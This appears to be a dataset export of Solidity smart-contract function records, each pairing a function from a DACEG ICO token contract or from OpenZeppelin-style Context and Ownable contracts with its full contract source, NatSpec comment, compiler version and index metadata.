/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
|
NatSpecSingleLine
|
v0.4.19+commit.c4cbbb05
|
bzzr://c9fc8c79ad7f0045c01143e9430df0d6f72c86edb64dd9294b14d3170e506f34
|
{
"func_code_index": [
551,
628
]
}
| 55,550 |
|||
DACEG
|
DACEG.sol
|
0xdb38d349bd21d5c8a8c36254bbec51143568bcd2
|
Solidity
|
DACEGToken
|
contract DACEGToken {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
|
transferFrom
|
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
|
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
|
NatSpecSingleLine
|
v0.4.19+commit.c4cbbb05
|
bzzr://c9fc8c79ad7f0045c01143e9430df0d6f72c86edb64dd9294b14d3170e506f34
|
{
"func_code_index": [
951,
1047
]
}
| 55,551 |
|||
DACEG
|
DACEG.sol
|
0xdb38d349bd21d5c8a8c36254bbec51143568bcd2
|
Solidity
|
DACEGToken
|
contract DACEGToken {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
|
approve
|
function approve(address _spender, uint256 _value) returns (bool success) {}
|
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
|
NatSpecSingleLine
|
v0.4.19+commit.c4cbbb05
|
bzzr://c9fc8c79ad7f0045c01143e9430df0d6f72c86edb64dd9294b14d3170e506f34
|
{
"func_code_index": [
1331,
1412
]
}
| 55,552 |
|||
DACEG
|
DACEG.sol
|
0xdb38d349bd21d5c8a8c36254bbec51143568bcd2
|
Solidity
|
DACEGToken
|
contract DACEGToken {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
|
allowance
|
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
|
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
|
NatSpecSingleLine
|
v0.4.19+commit.c4cbbb05
|
bzzr://c9fc8c79ad7f0045c01143e9430df0d6f72c86edb64dd9294b14d3170e506f34
|
{
"func_code_index": [
1620,
1717
]
}
| 55,553 |
|||
DACEG
|
DACEG.sol
|
0xdb38d349bd21d5c8a8c36254bbec51143568bcd2
|
Solidity
|
DACEG
|
contract DACEG is StandardDACEGToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg CADB etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function DACEG() {
balances[msg.sender] = 10000000000000000;
totalSupply = 10000000000000000;
name = "DACEG";
decimals = 8;
symbol = "DACEG";
unitsOneEthCanBuy = 1500;
fundsWallet = 0xe4947aba4b25feec9a933a930c34012d82382b4f;
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
}
|
DACEG
|
function DACEG() {
balances[msg.sender] = 10000000000000000;
totalSupply = 10000000000000000;
name = "DACEG";
decimals = 8;
symbol = "DACEG";
unitsOneEthCanBuy = 1500;
fundsWallet = 0xe4947aba4b25feec9a933a930c34012d82382b4f;
}
|
// Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
|
LineComment
|
v0.4.19+commit.c4cbbb05
|
bzzr://c9fc8c79ad7f0045c01143e9430df0d6f72c86edb64dd9294b14d3170e506f34
|
{
"func_code_index": [
1153,
1686
]
}
| 55,554 |
|||
DACEG
|
DACEG.sol
|
0xdb38d349bd21d5c8a8c36254bbec51143568bcd2
|
Solidity
|
DACEG
|
contract DACEG is StandardDACEGToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg CADB etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function DACEG() {
balances[msg.sender] = 10000000000000000;
totalSupply = 10000000000000000;
name = "DACEG";
decimals = 8;
symbol = "DACEG";
unitsOneEthCanBuy = 1500;
fundsWallet = 0xe4947aba4b25feec9a933a930c34012d82382b4f;
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
}
|
approveAndCall
|
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
|
/* Approves and then calls the receiving contract */
|
Comment
|
v0.4.19+commit.c4cbbb05
|
bzzr://c9fc8c79ad7f0045c01143e9430df0d6f72c86edb64dd9294b14d3170e506f34
|
{
"func_code_index": [
2282,
3087
]
}
| 55,555 |
|||
AwwGamesCollectible
|
AwwGamesCollectible.sol
|
0x5f5c08f823aeeddc8a4e53e4f144e7a8f50d3b37
|
Solidity
|
Context
|
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
|
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
|
Comment
|
_msgSender
|
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
|
// solhint-disable-previous-line no-empty-blocks
|
LineComment
|
v0.5.12+commit.7709ece9
|
{
"func_code_index": [
259,
359
]
}
| 55,556 |
||
AwwGamesCollectible
|
AwwGamesCollectible.sol
|
0x5f5c08f823aeeddc8a4e53e4f144e7a8f50d3b37
|
Solidity
|
Ownable
|
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
|
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
|
NatSpecMultiLine
|
owner
|
function owner() public view returns (address) {
return _owner;
}
|
/**
* @dev Returns the address of the current owner.
*/
|
NatSpecMultiLine
|
v0.5.12+commit.7709ece9
|
{
"func_code_index": [
480,
561
]
}
| 55,557 |
||
AwwGamesCollectible
|
AwwGamesCollectible.sol
|
0x5f5c08f823aeeddc8a4e53e4f144e7a8f50d3b37
|
Solidity
|
Ownable
|
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
|
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
|
NatSpecMultiLine
|
isOwner
|
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
|
/**
* @dev Returns true if the caller is the current owner.
*/
|
NatSpecMultiLine
|
v0.5.12+commit.7709ece9
|
{
"func_code_index": [
831,
927
]
}
| 55,558 |
||
AwwGamesCollectible
|
AwwGamesCollectible.sol
|
0x5f5c08f823aeeddc8a4e53e4f144e7a8f50d3b37
|
Solidity
|
Ownable
|
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
|
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
|
NatSpecMultiLine
|
renounceOwnership
|
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
|
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
|
NatSpecMultiLine
|
v0.5.12+commit.7709ece9
|
{
"func_code_index": [
1265,
1406
]
}
| 55,559 |
||
AwwGamesCollectible
|
AwwGamesCollectible.sol
|
0x5f5c08f823aeeddc8a4e53e4f144e7a8f50d3b37
|
Solidity
|
Ownable
|
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
|
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
|
NatSpecMultiLine
|
transferOwnership
|
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
|
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
|
NatSpecMultiLine
|
v0.5.12+commit.7709ece9
|
{
"func_code_index": [
1551,
1662
]
}
| 55,560 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.